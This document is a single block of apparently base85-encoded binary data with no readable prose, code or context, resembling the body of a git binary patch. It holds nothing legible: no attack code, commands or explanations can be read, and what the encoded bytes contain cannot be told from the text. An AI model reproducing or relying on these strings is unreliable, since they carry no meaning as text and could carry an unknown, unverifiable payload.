zLl_JvL^|(O@n4?ppUHbMC}Xdeb86ErgMYHMd&sN~ihlOQfuu0WKHSdPr7yne|B!7? z%;YOmq36!E%2X)1bG0(HOqt4D=TneNXlGwk#H;jPm_^5p7~y^lI^u>_Gs^z7 zVo;XFNIFtjxhX8Wpt=k4ss}Tn7F$e5b1pQ)PK+uC5$nUCu|Cp^5of*q{Fsh=v=^Oo zUlWtIg2jL2V1SYlY@=S$I8VWBj2|@9oTd(x(Uwi_0I0WUi6RXy-h9JB3m-uZHIKRv z^C&2jc0SX82m2D*JkW*)S_Ytv#K}|OIXg8XD4b@q9l>Ow>8~06)w({x8cjQz${k zQ2S6iuEK+FPG_=!n$#E=nuIE{jmK&6F^JjjcQcJ!@}c8ugvuI3uMsLsm~{!25ktne z4Y9ieKJLcE*`_R@jnqZH?v``mlpn%Cd;~%tabjt}J^;yPFEQ|O(#K?5UXGoh^p_3bn9miUw$0(tjje?1^p7zCW{SCB` zAhv#>Fclvt;9?gpdOM>wIv=XhR23kB^^R+1uU z=0^eff1rjafjFsD;)g4pOoL(!txK9f+|1n<9SsEo90}%q0A-{;GKf5h%c3mfnx5NR z$v1u+Gy8pm888Wx1-(-F?0c{1NuqOEYP~L!#pjLO9X#-HQsKSGn$)+JP&mA+ZhzT$Lx!TXfpHQz?H_9;**Zb zORqW|Nebv8i`38s>L!?LnCbdlRJpt_zEv$GBJS$jq%BQLVxH+>QTjPxehcrzcLNj? zi7~wf6Z#W3@aJUXO&=$@P7M#nZ||TwZp3=fkA-!@o?g6Kpguy*jITV%@x-Zd%&&O+ zq@O)OL+bc(JnUB=2mK6v*^hMRZaHOS#9UweeQJQ8%pzhC%4$yi%XCw6{u(-7C&DiG zR#;>5p7Qa8e~vv`55PF3dFaY48@L#+e$ECi$Sl?zNKT4W%9&#MQ zV zHnHwpPh*S`Ppohc{Q^kRx^wJ+dkZ6ym@(O$6gd&#^JdBom@p&Jtn$<_mOqOqH!Ob? ztPu=7U=x;?{5;k20YXwNSGGtlBs;EyGu7kmquZSPZ0wd2WloY$9oIv6F22o2aiIfE zeYO@mWx}3i6zc;NGAjC?R>>#n2`YcWBCGYWl0*o7k^uX(>p{lPoT@|a_8rSpr-)l@ zZo}xNi_Mp4O;yXLicRx%(*?Ah%>0l(%G-Q&FqW@wE4x1XHX}!}@V@EbL4W6b7=e$# zAcD-o`6i)+cQxvZWnZDDT)tD*i*NVS_bXhFme~51sz6mB9BHQC9S#L+8Z^Z6`QF00 zax%|*UApq%Z?H!%#E;z4pY*ZjH@AdpJopni9{TG&o)-KVyT|#v4c3J#E0?S+DK054 zD_`OF&0n(Ax1cm9hCij~qrcAM;h+C*XsYw5zqCVYf;rrpW#!KE&Kmp1*B|n%grOxc z)F0fq{)O*HJbwH%^toiNXTkGNH*E}@yYYqZdmuPgRYbkHTyIGz(7G`gf<1K&u~@_T zp7nufAQXsr!hu*QP@^m5&dbYZ`74@RDqE_85W`>dfZPk;Zwh!8ELc(D3B+Fbe#oid z*q1k(>yd46qNiT$s}Dxj2cr#!oorn0ynHXq&#w=}&JB7t2Cjt({BPJ()o|^Q3Qjxu zg{nXFmoFe0!r!k7Y!v%i8zRp?9reKV4H1+k+yMU-go^t&MO6Ga$W3g~_-h~%#*svjIBmT}3CQnXvbK`{@=-0z9YrSM+LB$mnt1nnx zSG#_!RnC7)i)Xl+_Q9HY9xJCs2V7NPVAgSW~RRF3dYUwYuDTOsH_=96EIMN~g zK@`_A{2`MV70{oX@aeynmTVIJZ5o*St-$AT;p`P8V@!sWo7?`BV*VX4x2^XS*7jlbL> z!)f8igz&7k*tP6f>coe5e7 zdKG9GGz3cDoPG>+8|WE$BKI(8E$B<2ZJ5 zIt~w}R)L-mS`WGu^k&cy=pCT9g3+IZ3m^l zL;D(N4D@uoUvLL#6X@fhPlLV!`X=c6pyTkm#>rTJ&jT$0oda44+6o#2{VC`U(3A0A z#nYfRXg_E-D1L&_T8(!#&H?>4=mOC9LFt?1`FLmLR?w?K9|pY@^d-f)fgZ>!wqCJ3t=?eH`?4&{sgmzmNK$7lEFPjoHnhb3o}; z;MJgK{9|zNdeHkp?*^Up0sIbnBWOS9_du-^EsMVP;{l!fPxu`)09pfj1Lzje1EBYT z{tom7(9uT+2mcIuGUzBg=Pd?32b7MJ6|pj|Ew?h-vNKK_cU)FCCh9rBv8%N_&tWcN z%&qa+3&&4hJmL5aS?$(kQ!Y9${~Wv`r|K^N-SyMK!N~;3LG`c1+5O_+ppUTP@!2>vtjvvW_Bu8Ivy%{-={)YLe219P~ts^&&8aX-(lGN|J zF%D7OBkrffsoNa+;|x+nIF<*-4ALf zq~ts(+XlIpAxB^A9`&#xH{x=qt%uRpC_IECy^bDR>7f3;gz_wu&oIkt66HrwJ~2(X z2X)3_+)hXNLuP%lQ@ND=kqa4mvVWE-b7i89GL+wk@^rBrM){Xfet}uPK2g6L<#(ez zU99d#`7LSmd!X|m%3DxgZ|bK$T%Bm+eaJis88<%?b~4JJMfp{@9z_Y>9J30g$Ahwq zA@@Gy=965OA@{{ZTWd!_AJ*+6$T)hgOO&^xya46t`rCu@vr(RI?)QrR&zkyIC-nED zeBv5V zIPOCEUs0YeP7a{__b7K8ClA_;qx>V3(+^EJKBjpg>j24&!=7vg_HIj3WmL+vNG2CD zWy8pjFDfCk0Ww}wkCE$QD5pK-0kfQJc{bsX9gsO6`^8dIX2b#(@BrJ3@|7qbu0Owr z%ofO8hTLlQdE_i!LO7q{C%&zFu&8IFI*EP)KoS;v>g+T%z03Y6ok=ZW%gq961NOf@J!+bq8-QN9i3wJ66| zjS}_OB+7T8Jc#mi<8%P!VU$lb>l=A2j`9|ir^};R*yGise1=)ySUabq{2G+gn&9+* zgi5qL|55%3%H76+%IO!U?jA<}Hk99w@^t>&h4Lqd(SHEtyHK7kKgLo11j^I)AIsMR zC{LGvrlb76Vf6b^{(Y1enEq)_j33<>{bZQ>+fe>8%G3F87s`84zTDI=$&37Z0Ofxj zrhXjdzeoA!%=*TjAPZZrKcRfCSx$=_c#eORA4PdO|N2p$i8mG71LY4Kqm8|g`3q#G zn{8Al#_JHu|ABI{$CFPKLO}r%xK{-gGeOYU%ej5t1hN-^;<&#kEHV&k6a4=*1WbA43m)(|OeJ2A~Ku*ug#B-gc znNMX}?HQT>lW9Gg@#@I8Gp#o=^SONfwJR*^?-_Sw9GPJ49GUs@c80&qm)j@`VZ3ZDTWUnP7c)Z03jKtvAMI?w(-XdHjz?+&#hClC7EV}{Sj|ri~O6>;UifY9a%H+L}1L+-;J@}9s@aAlmGAW ze?9R3GY<^Pq0LU^by%N;FE7!ddHNeDCQpC!#N_F3oR~cQO%;=;zrjKW(l;ORrHUer z@lm{4QQSuH;gNwwvAWRs0N(&2=Sg{%*oSQyAG*DN4GuOFFfdQy@GtYaA9%#c{3>3k zE&2&I=Cz+yt^e=+>*;Z~Y1%S{7Ybb{bd}Irp{+u17P?*NPN92*?ic#1(6@wsAawL{ z)!r#WrwJ_-x=`pUp|wI=h2AW5yU?9N_XyoD^i`p63H?Cm=oQkw&}l*og)S7jN@%Un zR-rcw-7a*e&^4STS7k&I=W2S7dlO7q0ogwR|%~Z+A8#Bq1%P-6uL*~exa`l zeM{&ELPuXN?F*eIv{2|mp{s<}3T+j7v(W8AcM9DjbidG7g}x>91EHh&0f%LsB6OP2 zLZJ(Vt`b@+v{mTMLbnUuDRhs}{X$d6 z3*9MnkI?->Ulsb6&<});t`z?ZohGzU=t7~Zgw_ge6?(JK?Lv17-6M3r&{u`NCG-QK zqgP7%LZ=BW6uMC8DxtMPTZP^%bi2@P{@7>k9NU{a!{g1zU#82If~(>TNWjMbaePkiPp z_yNK7I$JM#x>suripE5~U*vP8I9i1+PiLKN7rMa1VGoMxeu_r$=zTzZxU>Zo#!bPZfM` zivAhEslWeKqxAA;R=BJX`FZ3h9ANplS@4Te@E-|&aSBeA-28Tg4K651LA9_>*Cwsotrpj_eCpRKAU{rk-{^7~l+cx(N&N_>{o`itOK(*(z{ND=FE znX12=)+^u~!7m5yW@oL)Z)r%D-^B9ATfLGue4?jA*s>6Y*)ZK!H=>Y zVGKe)s^@0UslaKxc8NVYehLKthm7L{(N)cQ###FQM>o+R@*j(yhos;Ime*1V`l`sE zD)FHEHR3pB&+FoUJjCE*vfw%5hw*|h75q?2{I3`Mn{`T1%Wn~U9VKKO8h>8!1L8=1 zU-r7-1sjw+f3|_kvyhVrU%S@5?3;xxJ0<=H32!74=3fDH@FZf-J3a8Hl>6kQD>7No+e6b?dBEeshc4r7q z@9j{3mx@0>EBFt9V^tnnVn#w9TfnQsC6?sp}P5FNJMs9=y-^uHnUJz|gc=XfkwZt|0Wlm1&$;?tW(z9J1y?<2YCzg6_7#^*zVzbA1X z5c?}s4;Tq=0A;NQMU0jCT8Bj9fO zpBMRqElTi!$R7djX6JF3ux|L-Y4BJY{42m|yfS2bb)Nqv%O7w3;0k33y<0=aVUd4I z##bJPSXoGnq-UG>0b+byB=|VVOH&1J7krn<>o|W_@ExN6b0Yso;BNhWo8?8wAjf4Z zdv>l@;8jv~zTm0zbiLrC#Gd&g-zm5ydUU_&M=0Iw8G*qiKkSeIDHS~z2)+HYzfQ(?iL{$B$zA{Xz-b)s zk^JBl`5Kl#-ulIr3ZQq}=(tJbvt-;69(>#@IKEWEht5}ng6A|STyC4K$)~v6b4eQ9 zPJ?#>C;P7y|CFm{tf$k+KQHppjY?3D%Rke|PyCF#oy&kzyI0G;;!D!*V`=1{75PWR zPCXz0l14sfveLgiWuC49?iMFiY4ES7!5=%19j)#86%@)-)eO|@+MAom1L}c!n3QxUXSPz`y ze3!&|hREM2@_&$c)A{Z9!0CBK<`qit5t08;Tluo79ZL__XwW4UhEZofyirn{vvo#`m6PfIm_M7Gl5gPJEdP>`B)@) z>b`NSmY03nRU-coa5q0Zng-t^dR}i;3iN#c2>6M3{+Yc?;X3bSBk;)1sgfV2NxRd5 zyS3Y%2LHO~*?5yuFkSRm)sa{<)`GvjQf=Ax{K^&O_R`XdO4|mvAc^z&?Sq5;{fskDjYmP+iKuep2ubhQL!C0^+C(k0(Zm4O?@mjT!Kx5FZX=!ZS zXf;=@!&j5=Y+4%hEnmRulzPo2lvg{-qxeQz%&ytk1Z(MgV0J7RX%xOV9L}i@hb?=} zQg2>~T~WHmXRlmd;j3h%&_R}#E-S6{Eg&?1J;DVvuc4KNax04$*-L%P7ghQdzp!+v z5B@*}@ZQ<-Z8O{XMs3-W>ar#E6}fg!sJR;7W(_q2qL5r(5u0P%HNhCZ^p&4$+YL>z zAijfT$C~Zx`T!i&5Vc#Hq78LT!J5)_KHsOU()j7CY@{lSmaZr%UTUvcxDal!D~n6e zJIh{h#q#21rSmZw_>{nQhS|TMT*rVjB++IYUn8pt1+4|2&xr(Ub8Ne=t<4SxBhhC1 zeqC&%-HKr)2Y6@MHogaE< zm9$`>v9ua3c*&V|ED~slMN6xFz6D-iYtf>mr6u!MueS4Z3O+^E`CcE!5<2tk(&nhW z0$?<~n>qE=XUTM$HsK>VKZSiobwo!}4HheMJBc@Ofuz zv;ot^t_j2fXquvrs(5X?x;ebjZftH1mM*RG`sl2PdB)v zzOd*+ps6~g_0V5dnQNC-+7*R%MFCCW>b8Jg6|8G$vM~nL^+oVZaY?D|&B<3y=FPSd ziOyFlgEffS+CWPvW;fYhHo@mb3rZwWR*J#%A%rUOZ8Qi~-U9l*d17LCXE}4k-ca9A zU0*hQHkO-yn~O!SY?rAoRj1uuyrtDo~@M zDRqz`G$*+e?&aAS z1nyq}4F&g)#GD|q0~o_xOf~j|m-^z=i*DV_|mXl8BU}($1nLbdlPoU5%cqW@V^=z^eozNZIG4%SrsS?E?+Wy z=c&K3l=$&cN(?&94oSDwK8eTW6;brV_y#ZBhhQ(O=HV${!m*DmlZ!7oZwN$c9NQ_s zSo9ri`SNiot+>Iqq7`Krg^Hy}vAMK}yQQw&|2TD}TSF+xvnvaD7GR8qI-Fu7d0reN zxLo}^KTic_`I6-rK4b<&9xuEUFAYsY;stI-+QsB+!nA0qj`6&3bv1^=t__5u2!oAb zNppbUUThLJL;_)&K9x3x#w&RXt3%50V|`8j=C+!0$LOe@Md-|IJMEaOA$5;^2c?XM zwF^c{Z08{alarUTmcX_~nyj3GC}RGNa93^7)U;_|K#Kx?SpeHhj)s)kp2rC(&1@(4 zD_`@hhE%F^Ve2tW#PW&=LpYETymV2(rj8MOj2$0-&jphmb0-vR@--@lCI7U6T^);r zT<6u0X zb`|Anq;)|fSuMK?xcK}x0-F{Fl;Sc(&djt&A!1|umT8yk3eNgYdCd2F|ZiFXV>+VIrY1|zsd zP_vpQ#$3B%J})K8ozAk%i!v?D$JpCZpa!CJpI|pPVGl`bD#n2}c@}=vq1BECS}A=j z$5NFVdU;3>D)cz&;4TuZh@#gkDx#)ya=dD%+)zNVjCCPomU1mDrkE<&?=}y&|5h_J zN+~(*E;`4ncAm|%Hbju_Xc$wQLw&dH9H||$v<}Vm-Z|~=4gW;I7h+@0vW;m@+ z7)tW)F>;|xc2bU(4XroVp0Agj()z_JL>7csP>@8M!uSD?SS@m94Pp~NRYWU{x)*O~ zs%eEQpDXE^x2N~eD(4GsGkU>4s_4qcQe_qnVd$MT`u)*FiW zo@L0^aOf&Ci*LVW&q`yCXFt3}3^ZXgji1nI!9rNWPXLk=0p#eHcIj5t zW3{%`+Tm*?$Iv5zluUv38VNsnlgq0*bqM{(s*+G$p6Hb~Pd_@OAG*TeK$emv@0@A% zcIkz2dzT0d+MKv72>-_3WR6`?B72jRxJc}_*ezIJaHA2dRgWu@9Fnq$t&IfTwsds& zSxip>?fM3+LWq+VAlGcF6Na3g4loupyt|abEH?ta5p%#}C@n&5xQdX?897aM_T@ zt>ocPvXz^S>_fj$HYAHueY1bOT)Ey$P<4G{q$XHiAxy%E(R~nBOdAh1?I<4M2C70B zPBXG{X33+#NRZc&)FsI~$Jlhq(@;zd?59&F60P~pQD0QxCD+BM{P8*oEP`)E7V zP!$P8HnN+Op55l;=cy1*X%zde3T&&}_)(ehgh2*ZPj8iT&6KOOrI`>ekKWY-+haa` zbIG`g>^#hxFf<$~M!n85Q9w^^jb*}36|ZixydY=d7EmoQ7`HsTTy9;Ks2lDAdc=+? zYus~Fq!VAhVnwCxwTqXQ`HQ{crcaUx(r>1aspw%BKCa-;w2;(kUGv)JJWg(C*j-zi zjDx*9{)Zm;lJ2$m5gFf|!IcXtt3%0Xb*Ls*8@AQx;DNqdJ|Lrp&Q0Fy(;8=oWAs@S zJ@BZY&rtY5q_ZD2Zw%%6Du39gW+WmK{^vVO+*b1H4im5-s2fi_jvspKi9sLc^BrnG zvHYjr<|N;H@O%%{v^W3gZpE%Y=EI11!$1fzfKJ4DK9*t!gR+k31h z?=Evc9P)*Ri;G15;b)|II)mADoX0EZL+qCDe0;vhJxX5k^(QvwsJnd}l4c1~pYiB5 zD9=kDQ{Xch`f=#Qr*mc1>O+Sii&z1DHX$D=e1Z=R@Z+XfIB6{l1fzD|tU|l4x-n%T zGamXaq~Bn5`v5`B?W9Mt>hX;7a?0x9OuKY<(8GSzlbkOwO^lYJZacd4vo9}r4TiQ_ zmQF*?WxU*W?YIHM!aMxKr^HPf{RAydi0Vf5fHoidu;e=tbt7avgBo_(h&9JB8gxGr z#kQe3vN4SNP!7mBwtTWj-ci|%aXe{p`PiK|^24MF-d$9cBA4P;jPCMMQ-E5#a9fbH zaH+iO@`?C=^wiYKiEeC+1*$+}5k>3uRec~@Z{^_S5{M{@g(n9eN#?Z5zQ$y1ltqG} z09BBya42Tw@Ln4|D@j`)mdI;0- zl0^=``2t($1sFCd(AZE7!R8pX0EG2bMNx?NZW@D4@|KW(x#!=fc%9I~SDf(OKXrIA zlIa3`uZRv^F0TdSyL{@v>r8lSDN(L}mqF73d3lLm`zO`9K3+TJgWhkZGOb_#&V#1< zcO8^;;`@i1r}r!AHx_h#{ksa9-XZi)TiHU(768H22J%B9?3@XleQn1e9-%g zi2f> z`ef1}<~Z1uxH9W!Q-^S9%D)|}Ace~{zP7*zy{>82@1+jm&{W&0(1iWk4`CFT_4W6K zH4V(vH5JwEYLs5DGwbW`(P^66KFOK~yH2r4)Zaz`4owdz*7-NJeR?mH+IP(C5mBM3 z{!VTG35c8Zvvoa9QEnco^`Ax|xmdUF=~2>}9wg;Bbh)mt?V{H-&GrYr&El4(e#JWf z>iU}gB&ELo9